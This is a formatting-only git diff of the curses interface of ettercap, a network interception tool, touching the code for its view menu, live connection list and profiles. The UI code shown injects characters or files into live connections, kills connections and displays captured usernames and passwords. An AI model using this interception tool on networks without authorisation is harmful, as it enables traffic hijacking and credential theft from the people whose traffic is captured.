received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -52,27 +52,24 @@ static char vregex[RLEN]; #define WLEN 70 static char wkey[WLEN]; -struct wdg_menu menu_view[] = { {"View", 'V', "", NULL}, - {"Connections", 'C', "C", curses_show_connections}, - {"Profiles", 'O', "O", curses_show_profiles}, - {"Statistics", 's', "s", curses_show_stats}, - {"-", 0, "", NULL}, - {"Resolve IP addresses", 0, tag_resolve, toggle_resolve}, - {"Visualization method...", 'v', "v", curses_vis_method}, - {"Visualization regex...", 'R', "R", curses_vis_regex}, - {"-", 0, "", NULL}, - {"Set the WiFi key...", 'w', "w", curses_wifi_key}, - {NULL, 0, NULL, NULL}, - }; - +struct wdg_menu menu_view[] = { { "View", 'V', "", NULL }, + { "Connections", 'C', "C", curses_show_connections }, + { "Profiles", 'O', "O", curses_show_profiles }, + { "Statistics", 's', "s", curses_show_stats }, + { "-", 0, "", NULL }, + { "Resolve IP addresses", 0, tag_resolve, toggle_resolve }, + { "Visualization method...", 'v', "v", curses_vis_method }, + { "Visualization regex...", 'R', "R", curses_vis_regex }, + { "-", 0, "", NULL }, + { "Set the WiFi key...", 'w', "w", curses_wifi_key }, + { NULL, 0, NULL, NULL }, }; /*******************************************/ - -/* +/* * If this option is being activated, - * it runs through the current hosts list and triggeres - * name resolution in the background. + * it runs through the current hosts list and triggeres + * name resolution in the background. * That way subsequent actions benefits from the filled cache */ static void toggle_resolve(void) @@ -86,15 +83,15 @@ static void toggle_resolve(void) GBL_OPTIONS->resolve = 0; resolv_thread_fini(); return; - } - + } + DEBUG_MSG("toggle_resolve: activate name resolution"); /* set the option and activate resolution threads */ tag_resolve[0] = '*'; GBL_OPTIONS->resolve = 1; resolv_thread_init(); - + /* run through the current hosts list and trigger resolution */ LIST_FOREACH(hl, &GBL_HOSTLIST, next) { if (hl->hostname) @@ -115,9 +112,9 @@ static void curses_show_stats(void) wdg_set_focus(wdg_stats); return; } - + wdg_create_object(&wdg_stats, WDG_WINDOW, WDG_OBJ_WANT_FOCUS); - + wdg_set_title(wdg_stats, "Statistics:", WDG_ALIGN_LEFT); wdg_set_size(wdg_stats, 1, 2, 70, 21); wdg_set_color(wdg_stats, WDG_COLOR_SCREEN, EC_COLOR); @@ -126,11 +123,11 @@ static void curses_show_stats(void) wdg_set_color(wdg_stats, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_stats, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_draw_object(wdg_stats); - + wdg_set_focus(wdg_stats); - + /* display the stats */ - refresh_stats(); + refresh_stats(); /* add the callback on idle to refresh the stats */ wdg_add_idle_callback(refresh_stats); @@ -153,35 +150,35 @@ static void refresh_stats(void) /* if not focused don't refresh it */ if (!(wdg_stats->flags & WDG_OBJ_FOCUSED)) return; - + wdg_window_print(wdg_stats, 1, 1, "Received packets : %8lld", GBL_STATS->ps_recv); - wdg_window_print(wdg_stats, 1, 2, "Dropped packets : %8lld %.2f %% ", GBL_STATS->ps_drop, - (GBL_STATS->ps_recv) ? (float)GBL_STATS->ps_drop * 100 / GBL_STATS->ps_recv : 0 ); + wdg_window_print(wdg_stats, 1, 2, "Dropped packets : %8lld %.2f %% ", GBL_STATS->ps_drop, + (GBL_STATS->ps_recv) ? (float)GBL_STATS->ps_drop * 100 / GBL_STATS->ps_recv : 0); wdg_window_print(wdg_stats, 1, 3, "Forwarded packets : %8lld bytes: %8lld ", GBL_STATS->ps_sent, GBL_STATS->bs_sent); - + wdg_window_print(wdg_stats, 1, 5, "Current queue len : %d/%d ", GBL_STATS->queue_curr, GBL_STATS->queue_max); wdg_window_print(wdg_stats, 1, 6, "Sampling rate : %d ", GBL_CONF->sampling_rate); - - wdg_window_print(wdg_stats, 1, 8, "Bottom Half received packet : pck: %8lld bytes: %8lld", - GBL_STATS->bh.pck_recv, GBL_STATS->bh.pck_size); - wdg_window_print(wdg_stats, 1, 9, "Top Half received packet : pck: %8lld bytes: %8lld", - GBL_STATS->th.pck_recv, GBL_STATS->th.pck_size); + + wdg_window_print(wdg_stats, 1, 8, "Bottom Half received packet : pck: %8lld bytes: %8lld", + GBL_STATS->bh.pck_recv, GBL_STATS->bh.pck_size); + wdg_window_print(wdg_stats, 1, 9, "Top Half received packet : pck: %8lld bytes: %8lld", + GBL_STATS->th.pck_recv, GBL_STATS->th.pck_size); wdg_window_print(wdg_stats, 1, 10, "Interesting packets : %.2f %% ", - (GBL_STATS->bh.pck_recv) ? (float)GBL_STATS->th.pck_recv * 100 / GBL_STATS->bh.pck_recv : 0 ); - - wdg_window_print(wdg_stats, 1, 12, "Bottom Half packet rate : worst: %8d adv: %8d p/s", - GBL_STATS->bh.rate_worst, GBL_STATS->bh.rate_adv); - wdg_window_print(wdg_stats, 1, 13, "Top Half packet rate : worst: %8d adv: %8d p/s", - GBL_STATS->th.rate_worst, GBL_STATS->th.rate_adv); - - wdg_window_print(wdg_stats, 1, 14, "Bottom Half throughput : worst: %8d adv: %8d b/s", - GBL_STATS->bh.thru_worst, GBL_STATS->bh.thru_adv); - wdg_window_print(wdg_stats, 1, 15, "Top Half throughput : worst: %8d adv: %8d b/s", - GBL_STATS->th.thru_worst, GBL_STATS->th.thru_adv); + (GBL_STATS->bh.pck_recv) ? (float)GBL_STATS->th.pck_recv * 100 / GBL_STATS->bh.pck_recv : 0); + + wdg_window_print(wdg_stats, 1, 12, "Bottom Half packet rate : worst: %8d adv: %8d p/s", + GBL_STATS->bh.rate_worst, GBL_STATS->bh.rate_adv); + wdg_window_print(wdg_stats, 1, 13, "Top Half packet rate : worst: %8d adv: %8d p/s", + GBL_STATS->th.rate_worst, GBL_STATS->th.rate_adv); + + wdg_window_print(wdg_stats, 1, 14, "Bottom Half throughput : worst: %8d adv: %8d b/s", + GBL_STATS->bh.thru_worst, GBL_STATS->bh.thru_adv); + wdg_window_print(wdg_stats, 1, 15, "Top Half throughput : worst: %8d adv: %8d b/s", + GBL_STATS->th.thru_worst, GBL_STATS->th.thru_adv); } /* - * change the visualization method + * change the visualization method */ static void curses_vis_method(void) { @@ -196,7 +193,7 @@ static void curses_set_method(void) } /* - * change the visualization regex + * change the visualization regex */ static void curses_vis_regex(void) { @@ -225,8 +222,6 @@ static void curses_set_wifikey(void) wifi_key_prepare(wkey); } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/ec_curses_view_connections.c b/src/interfaces/curses/ec_curses_view_connections.c index 011c0edf7..f10127cec 100644 --- a/src/interfaces/curses/ec_curses_view_connections.c +++ b/src/interfaces/curses/ec_curses_view_connections.c @@ -1,23 +1,23 @@ /* - ettercap -- curses GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- curses GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -62,14 +62,13 @@ static void curses_connection_data_help(void); static wdg_t *wdg_connections, *wdg_conn_detail; static wdg_t *wdg_conndata, *wdg_c1, *wdg_c2, *wdg_join; static struct conn_object *curr_conn; - + /* keep it global, so the memory region is always the same (reallocing it) */ static u_char *dispbuf; static u_char *injectbuf; /*******************************************/ - /* * the auto-refreshing list of connections */ @@ -82,9 +81,9 @@ void curses_show_connections(void) wdg_set_focus(wdg_connections); return; } - + wdg_create_object(&wdg_connections, WDG_DYNLIST, WDG_OBJ_WANT_FOCUS); - + wdg_set_title(wdg_connections, "Live connections:", WDG_ALIGN_LEFT); wdg_set_size(wdg_connections, 1, 2, -1, SYSMSG_WIN_SIZE - 1); wdg_set_color(wdg_connections, WDG_COLOR_SCREEN, EC_COLOR); @@ -93,15 +92,15 @@ void curses_show_connections(void) wdg_set_color(wdg_connections, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_connections, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_draw_object(wdg_connections); - + wdg_set_focus(wdg_connections); /* set the list print callback */ wdg_dynlist_print_callback(wdg_connections, conntrack_print); - + /* set the select callback */ wdg_dynlist_select_callback(wdg_connections, curses_connection_data); - + /* add the callback on idle to refresh the profile list */ wdg_add_idle_callback(refresh_connections); @@ -126,7 +125,7 @@ static void curses_kill_connections(void) static void curses_connection_help(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; char help[] = "HELP: shortcut list:\n\n" " ENTER - open the data panel in real time\n" @@ -142,11 +141,11 @@ static void refresh_connections(void) /* if not focused don't refresh it */ if (!(wdg_connections->flags & WDG_OBJ_FOCUSED)) return; - + wdg_dynlist_refresh(wdg_connections); } -/* +/* * details for a connection */ static void curses_connection_detail(void *conn) @@ -156,7 +155,7 @@ static void curses_connection_detail(void *conn) char *proto = ""; char name[MAX_HOSTNAME_LEN]; unsigned int row = 0; - + DEBUG_MSG("curses_connection_detail"); /* if the object already exist, set the focus to it */ @@ -164,9 +163,9 @@ static void curses_connection_detail(void *conn) wdg_destroy_object(&wdg_conn_detail); wdg_conn_detail = NULL; } - + wdg_create_object(&wdg_conn_detail, WDG_WINDOW, WDG_OBJ_WANT_FOCUS); - + wdg_set_title(wdg_conn_detail, "Connection detail:", WDG_ALIGN_LEFT); wdg_set_size(wdg_conn_detail, 1, 2, 75, 23); wdg_set_color(wdg_conn_detail, WDG_COLOR_SCREEN, EC_COLOR); @@ -175,60 +174,59 @@ static void curses_connection_detail(void *conn) wdg_set_color(wdg_conn_detail, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_conn_detail, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_draw_object(wdg_conn_detail); - + wdg_set_focus(wdg_conn_detail); - + /* add the destroy callback */ wdg_add_destroy_key(wdg_conn_detail, CTRL('Q'), NULL); - + /* print the information */ - wdg_window_print(wdg_conn_detail, 1, ++row, "Source MAC address : %s", - mac_addr_ntoa(c->co->L2_addr1, tmp)); - wdg_window_print(wdg_conn_detail, 1, ++row, "Destination MAC address : %s", - mac_addr_ntoa(c->co->L2_addr2, tmp)); + wdg_window_print(wdg_conn_detail, 1, ++row, "Source MAC address : %s", + mac_addr_ntoa(c->co->L2_addr1, tmp)); + wdg_window_print(wdg_conn_detail, 1, ++row, "Destination MAC address : %s", + mac_addr_ntoa(c->co->L2_addr2, tmp)); ++row; - wdg_window_print(wdg_conn_detail, 1, ++row, "Source IP address : %s", - ip_addr_ntoa(&(c->co->L3_addr1), tmp)); + wdg_window_print(wdg_conn_detail, 1, ++row, "Source IP address : %s", + ip_addr_ntoa(&(c->co->L3_addr1), tmp)); if (host_iptoa(&(c->co->L3_addr1), name) == E_SUCCESS) - wdg_window_print(wdg_conn_detail, 1, ++row, "Source hostname : %s", - name); + wdg_window_print(wdg_conn_detail, 1, ++row, "Source hostname : %s", + name); #ifdef WITH_GEOIP if (GBL_CONF->geoip_support_enable) - wdg_window_print(wdg_conn_detail, 1, ++row, "Source location : %s", - geoip_country_by_ip(&c->co->L3_addr1)); + wdg_window_print(wdg_conn_detail, 1, ++row, "Source location : %s", + geoip_country_by_ip(&c->co->L3_addr1)); #endif - - wdg_window_print(wdg_conn_detail, 1, ++row, "Destination IP address : %s", - ip_addr_ntoa(&(c->co->L3_addr2), tmp)); + + wdg_window_print(wdg_conn_detail, 1, ++row, "Destination IP address : %s", + ip_addr_ntoa(&(c->co->L3_addr2), tmp)); if (host_iptoa(&(c->co->L3_addr2), name) == E_SUCCESS) wdg_window_print(wdg_conn_detail, 1, ++row, "Destination hostname : %s", name); #ifdef WITH_GEOIP if (GBL_CONF->geoip_support_enable) wdg_window_print(wdg_conn_detail, 1, ++row, "Destination location : %s", - geoip_country_by_ip(&c->co->L3_addr2)); + geoip_country_by_ip(&c->co->L3_addr2)); #endif ++row; switch (c->co->L4_proto) { - case NL_TYPE_UDP: - proto = "UDP"; - break; - case NL_TYPE_TCP: - proto = "TCP"; - break; + case NL_TYPE_UDP: + proto = "UDP"; + break; + case NL_TYPE_TCP: + proto = "TCP"; + break; } - + wdg_window_print(wdg_conn_detail, 1, ++row, "Protocol : %s", proto); - wdg_window_print(wdg_conn_detail, 1, ++row, "Source port : %-5d %s", - ntohs(c->co->L4_addr1), service_search(c->co->L4_addr1, c->co->L4_proto)); - wdg_window_print(wdg_conn_detail, 1, ++row, "Destination port : %-5d %s", - ntohs(c->co->L4_addr2), service_search(c->co->L4_addr2, c->co->L4_proto)); - - + wdg_window_print(wdg_conn_detail, 1, ++row, "Source port : %-5d %s", + ntohs(c->co->L4_addr1), service_search(c->co->L4_addr1, c->co->L4_proto)); + wdg_window_print(wdg_conn_detail, 1, ++row, "Destination port : %-5d %s", + ntohs(c->co->L4_addr2), service_search(c->co->L4_addr2, c->co->L4_proto)); + row++; wdg_window_print(wdg_conn_detail, 1, ++row, "--> %d <-- %d total: %d ", c->co->tx, c->co->rx, c->co->xferred); - + row++; if (c->co->DISSECTOR.user) { wdg_window_print(wdg_conn_detail, 1, ++row, "Account : %s / %s", c->co->DISSECTOR.user, c->co->DISSECTOR.pass); @@ -241,8 +239,8 @@ static void curses_connection_data(void *conn) { struct conn_tail *c = (struct conn_tail *)conn; DEBUG_MSG("curses_connection_data"); - - /* + + /* * remove any hook on the open connection. * this is done to prevent a switch of connection * with the panel opened @@ -253,11 +251,11 @@ static void curses_connection_data(void *conn) /* remove the viewing flag */ curr_conn->flags &= ~CONN_VIEWING; } - + /* set the global variable to pass the parameter to other functions */ curr_conn = c->co; curr_conn->flags |= CONN_VIEWING; - + /* default is split view */ curses_connection_data_split(); } @@ -265,7 +263,7 @@ static void curses_connection_data(void *conn) static void curses_connection_data_help(void) { char help[] = "HELP: shortcut list:\n\n" - " ARROWS - switch between panels\n" + " ARROWS - switch between panels\n" " j - switch from split to joined view\n" " y - inject characters interactively\n" " Y - inject characters from a file\n" @@ -280,7 +278,7 @@ static void curses_connection_data_help(void) static void curses_connection_data_split(void) { char tmp[MAX_ASCII_ADDR_LEN]; - char title[MAX_ASCII_ADDR_LEN+6]; + char title[MAX_ASCII_ADDR_LEN + 6]; DEBUG_MSG("curses_connection_data_split"); @@ -290,7 +288,7 @@ static void curses_connection_data_split(void) curses_destroy_conndata(); curr_conn = tmp_conn; } - + /* don't timeout this connection */ curr_conn->flags |= CONN_VIEWING; @@ -301,16 +299,16 @@ static void curses_connection_data_split(void) wdg_set_color(wdg_conndata, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_set_title(wdg_conndata, "Connection data", WDG_ALIGN_LEFT); wdg_set_size(wdg_conndata, 1, 2, -1, SYSMSG_WIN_SIZE - 1); - + wdg_create_object(&wdg_c1, WDG_SCROLL, 0); - snprintf(title, MAX_ASCII_ADDR_LEN+6, "%s:%d", ip_addr_ntoa(&curr_conn->L3_addr1, tmp), ntohs(curr_conn->L4_addr1)); + snprintf(title, MAX_ASCII_ADDR_LEN + 6, "%s:%d", ip_addr_ntoa(&curr_conn->L3_addr1, tmp), ntohs(curr_conn->L4_addr1)); wdg_set_title(wdg_c1, title, WDG_ALIGN_LEFT); wdg_set_color(wdg_c1, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_set_color(wdg_c1, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_size(wdg_c1, 2, 3, current_screen.cols / 2, SYSMSG_WIN_SIZE - 2); - + wdg_create_object(&wdg_c2, WDG_SCROLL, 0); - snprintf(title, MAX_ASCII_ADDR_LEN+6, "%s:%d", ip_addr_ntoa(&curr_conn->L3_addr2, tmp), ntohs(curr_conn->L4_addr2)); + snprintf(title, MAX_ASCII_ADDR_LEN + 6, "%s:%d", ip_addr_ntoa(&curr_conn->L3_addr2, tmp), ntohs(curr_conn->L4_addr2)); wdg_set_title(wdg_c2, title, WDG_ALIGN_LEFT); wdg_set_color(wdg_c2, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_set_color(wdg_c2, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); @@ -319,20 +317,20 @@ static void curses_connection_data_split(void) /* set the buffers */ wdg_scroll_set_lines(wdg_c1, GBL_CONF->connection_buffer / (current_screen.cols / 2)); wdg_scroll_set_lines(wdg_c2, GBL_CONF->connection_buffer / (current_screen.cols / 2)); - + /* link the widget together within the compound */ wdg_compound_add(wdg_conndata, wdg_c1); wdg_compound_add(wdg_conndata, wdg_c2); - + /* add the destroy callback */ wdg_add_destroy_key(wdg_conndata, CTRL('Q'), curses_destroy_conndata); - + wdg_compound_add_callback(wdg_conndata, 'j', curses_connection_data_join); wdg_compound_add_callback(wdg_conndata, 'y', curses_connection_inject); wdg_compound_add_callback(wdg_conndata, 'Y', curses_connection_inject_file); wdg_compound_add_callback(wdg_conndata, 'k', curses_connection_kill_wrapper); wdg_compound_add_callback(wdg_conndata, ' ', curses_connection_data_help); - + wdg_draw_object(wdg_conndata); wdg_set_focus(wdg_conndata); @@ -358,16 +356,17 @@ static void curses_destroy_conndata(void) static void split_print(u_char *text, size_t len, struct ip_addr *L3_src) { int ret; - + /* check the regex filter */ - if (GBL_OPTIONS->regex && - regexec(GBL_OPTIONS->regex, (const char*)text, 0, NULL, 0) != 0) { + if (GBL_OPTIONS->regex && + regexec(GBL_OPTIONS->regex, (const char *)text, 0, NULL, 0) != 0) + { return; } /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(len) * sizeof(u_char) + 1); - + /* format the data */ ret = GBL_FORMAT(text, len, dispbuf); dispbuf[ret] = 0; @@ -376,43 +375,42 @@ static void split_print(u_char *text, size_t len, struct ip_addr *L3_src) wdg_scroll_print(wdg_c1, EC_COLOR, "%s", dispbuf); else wdg_scroll_print(wdg_c2, EC_COLOR, "%s", dispbuf); - } static void split_print_po(struct packet_object *po) { int ret; - + /* check if the object exists */ if (wdg_conndata == NULL || wdg_c1 == NULL || wdg_c2 == NULL) return; - + /* if not focused don't refresh it */ if (!(wdg_conndata->flags & WDG_OBJ_FOCUSED)) return; - + /* check the regex filter */ - if (GBL_OPTIONS->regex && - regexec(GBL_OPTIONS->regex, (const char*)po->DATA.disp_data, 0, NULL, 0) != 0) { + if (GBL_OPTIONS->regex && + regexec(GBL_OPTIONS->regex, (const char *)po->DATA.disp_data, 0, NULL, 0) != 0) + { return; } - + /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(po->DATA.disp_len) * sizeof(u_char) + 1); - + /* format the data */ ret = GBL_FORMAT(po->DATA.disp_data, po->DATA.disp_len, dispbuf); dispbuf[ret] = 0; - + if (!ip_addr_cmp(&po->L3.src, &curr_conn->L3_addr1)) wdg_scroll_print(wdg_c1, EC_COLOR, "%s", dispbuf); else wdg_scroll_print(wdg_c2, EC_COLOR, "%s", dispbuf); - } /* - * show the data in a joined window + * show the data in a joined window */ static void curses_connection_data_join(void) { @@ -439,32 +437,32 @@ static void curses_connection_data_join(void) wdg_set_color(wdg_conndata, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_set_title(wdg_conndata, "Connection data", WDG_ALIGN_LEFT); wdg_set_size(wdg_conndata, 1, 2, -1, SYSMSG_WIN_SIZE - 1); - + wdg_create_object(&wdg_join, WDG_SCROLL, 0); snprintf(title, 64, "%s:%d - %s:%d", ip_addr_ntoa(&curr_conn->L3_addr1, src), ntohs(curr_conn->L4_addr1), - ip_addr_ntoa(&curr_conn->L3_addr2, dst), ntohs(curr_conn->L4_addr2)); + ip_addr_ntoa(&curr_conn->L3_addr2, dst), ntohs(curr_conn->L4_addr2)); wdg_set_title(wdg_join, title, WDG_ALIGN_LEFT); wdg_set_color(wdg_join, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_set_color(wdg_join, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_size(wdg_join, 2, 3, -2, SYSMSG_WIN_SIZE - 2); - + /* set the buffers */ - wdg_scroll_set_lines(wdg_join, GBL_CONF->connection_buffer / (current_screen.cols / 2) ); - + wdg_scroll_set_lines(wdg_join, GBL_CONF->connection_buffer / (current_screen.cols / 2)); + /* link the widget together within the compound */ wdg_compound_add(wdg_conndata, wdg_join); - + /* add the destroy callback */ wdg_add_destroy_key(wdg_conndata, CTRL('Q'), curses_destroy_conndata); - - /* + + /* * do not add inject callback because we can determine where to inject in * joined mode... */ wdg_compound_add_callback(wdg_conndata, 'j', curses_connection_data_split); wdg_compound_add_callback(wdg_conndata, 'k', curses_connection_kill_wrapper); wdg_compound_add_callback(wdg_conndata, ' ', curses_connection_data_help); - + wdg_draw_object(wdg_conndata); wdg_set_focus(wdg_conndata); @@ -478,20 +476,21 @@ static void curses_connection_data_join(void) static void join_print(u_char *text, size_t len, struct ip_addr *L3_src) { int ret; - + /* check the regex filter */ - if (GBL_OPTIONS->regex && - regexec(GBL_OPTIONS->regex, (const char*)text, 0, NULL, 0) != 0) { + if (GBL_OPTIONS->regex && + regexec(GBL_OPTIONS->regex, (const char *)text, 0, NULL, 0) != 0) + { return; } - + /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(len) * sizeof(u_char) + 1); - + /* format the data */ ret = GBL_FORMAT(text, len, dispbuf); dispbuf[ret] = 0; - + if (!ip_addr_cmp(L3_src, &curr_conn->L3_addr1)) wdg_scroll_print(wdg_join, EC_COLOR_JOIN1, "%s", dispbuf); else @@ -501,7 +500,7 @@ static void join_print(u_char *text, size_t len, struct ip_addr *L3_src) static void join_print_po(struct packet_object *po) { int ret; - + /* check if the object exists */ if (wdg_conndata == NULL || wdg_join == NULL) return; @@ -509,20 +508,21 @@ static void join_print_po(struct packet_object *po) /* if not focused don't refresh it */ if (!(wdg_conndata->flags & WDG_OBJ_FOCUSED)) return; - + /* check the regex filter */ - if (GBL_OPTIONS->regex && - regexec(GBL_OPTIONS->regex, (const char*)po->DATA.disp_data, 0, NULL, 0) != 0) { + if (GBL_OPTIONS->regex && + regexec(GBL_OPTIONS->regex, (const char *)po->DATA.disp_data, 0, NULL, 0) != 0) + { return; } - + /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(po->DATA.disp_len) * sizeof(u_char) + 1); - + /* format the data */ ret = GBL_FORMAT(po->DATA.disp_data, po->DATA.disp_len, dispbuf); dispbuf[ret] = 0; - + if (!ip_addr_cmp(&po->L3.src, &curr_conn->L3_addr1)) wdg_scroll_print(wdg_join, EC_COLOR_JOIN1, "%s", dispbuf); else @@ -535,21 +535,20 @@ static void join_print_po(struct packet_object *po) static void curses_connection_kill(void *conn) { struct conn_tail *c = (struct conn_tail *)conn; - + DEBUG_MSG("curses_connection_kill"); - + /* kill it */ switch (user_kill(c->co)) { - case E_SUCCESS: - /* set the status */ - c->co->status = CONN_KILLED; - curses_message("The connection was killed !!"); - break; - case -E_FATAL: - curses_message("Cannot kill UDP connections !!"); - break; + case E_SUCCESS: + /* set the status */ + c->co->status = CONN_KILLED; + curses_message("The connection was killed !!"); + break; + case -E_FATAL: + curses_message("Cannot kill UDP connections !!"); + break; } - } /* @@ -558,17 +557,17 @@ static void curses_connection_kill(void *conn) static void curses_connection_purge(void *conn) { /* variable not used */ - (void) conn; + (void)conn; DEBUG_MSG("curses_connection_purge"); - + conntrack_purge(); refresh_connections(); } /* - * call the specialized funtion as this is a callback + * call the specialized funtion as this is a callback * without the parameter */ static void curses_connection_kill_wrapper(void) @@ -576,10 +575,10 @@ static void curses_connection_kill_wrapper(void) struct conn_tail c; DEBUG_MSG("curses_connection_kill_wrapper"); - + /* create the fake conn_tail object */ c.co = curr_conn; - + curses_connection_kill(&c); } @@ -589,33 +588,33 @@ static void curses_connection_kill_wrapper(void) static void curses_connection_inject(void) { wdg_t *in; - + DEBUG_MSG("curses_connection_inject"); - + SAFE_REALLOC(injectbuf, 501 * sizeof(char)); memset(injectbuf, 0, 501); - + wdg_create_object(&in, WDG_INPUT, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); wdg_set_color(in, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(in, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(in, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(in, WDG_COLOR_TITLE, EC_COLOR_MENU); wdg_input_size(in, 75, 12); - wdg_input_add(in, 1, 1, "Chars to be injected :", (char*)injectbuf, 50, 10); + wdg_input_add(in, 1, 1, "Chars to be injected :", (char *)injectbuf, 50, 10); wdg_input_set_callback(in, inject_user); - + wdg_draw_object(in); - + wdg_set_focus(in); } -static void inject_user(void) +static void inject_user(void) { size_t len; /* escape the sequnces in the buffer */ - len = strescape((char*)injectbuf, (char*)injectbuf, strlen(injectbuf)+1); - + len = strescape((char *)injectbuf, (char *)injectbuf, strlen(injectbuf) + 1); + /* check where to inject */ if (wdg_c1->flags & WDG_OBJ_FOCUSED) { user_inject(injectbuf, len, curr_conn, 1); @@ -625,16 +624,16 @@ static void inject_user(void) } /* - * inject form a file + * inject form a file */ static void curses_connection_inject_file(void) { wdg_t *fop; - + DEBUG_MSG("curses_connection_inject_file"); - + wdg_create_object(&fop, WDG_FILE, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); - + wdg_set_title(fop, "Select a file to inject...", WDG_ALIGN_LEFT); wdg_set_color(fop, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(fop, WDG_COLOR_WINDOW, EC_COLOR_MENU); @@ -642,9 +641,9 @@ static void curses_connection_inject_file(void) wdg_set_color(fop, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_file_set_callback(fop, inject_file); - + wdg_draw_object(fop); - + wdg_set_focus(fop); } @@ -657,32 +656,32 @@ static void inject_file(const char *path, char *file) int fd; void *buf; size_t size, ret; - + DEBUG_MSG("inject_file %s/%s", path, file); - - SAFE_CALLOC(filename, strlen(path)+strlen(file)+2, sizeof(char)); - snprintf(filename, strlen(path)+strlen(file)+2, "%s/%s", path, file); + SAFE_CALLOC(filename, strlen(path) + strlen(file) + 2, sizeof(char)); + + snprintf(filename, strlen(path) + strlen(file) + 2, "%s/%s", path, file); /* open the file */ if ((fd = open(filename, O_RDONLY | O_BINARY)) == -1) { ui_error("Can't load the file"); return; } - + SAFE_FREE(filename); /* calculate the size of the file */ size = lseek(fd, 0, SEEK_END); - + /* load the file in memory */ SAFE_CALLOC(buf, size, sizeof(char)); - + /* rewind the pointer */ lseek(fd, 0, SEEK_SET); - + ret = read(fd, buf, size); - + close(fd); if (ret != size) { @@ -698,10 +697,8 @@ static void inject_file(const char *path, char *file) } SAFE_FREE(buf); - } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/ec_curses_view_profiles.c b/src/interfaces/curses/ec_curses_view_profiles.c index 978183e17..35cb0b652 100644 --- a/src/interfaces/curses/ec_curses_view_profiles.c +++ b/src/interfaces/curses/ec_curses_view_profiles.c @@ -1,23 +1,23 @@ /* - ettercap -- curses GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- curses GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -46,11 +46,10 @@ static void curses_profiles_help(void *dummy); static wdg_t *wdg_profiles, *wdg_pro_detail; static char *logfile; - /*******************************************/ /* - * the auto-refreshing list of profiles + * the auto-refreshing list of profiles */ void curses_show_profiles(void) { @@ -61,9 +60,9 @@ void curses_show_profiles(void) wdg_set_focus(wdg_profiles); return; } - + wdg_create_object(&wdg_profiles, WDG_DYNLIST, WDG_OBJ_WANT_FOCUS); - + wdg_set_title(wdg_profiles, "Collected passive profiles:", WDG_ALIGN_LEFT); wdg_set_size(wdg_profiles, 1, 2, -1, SYSMSG_WIN_SIZE - 1); wdg_set_color(wdg_profiles, WDG_COLOR_SCREEN, EC_COLOR); @@ -72,15 +71,15 @@ void curses_show_profiles(void) wdg_set_color(wdg_profiles, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); 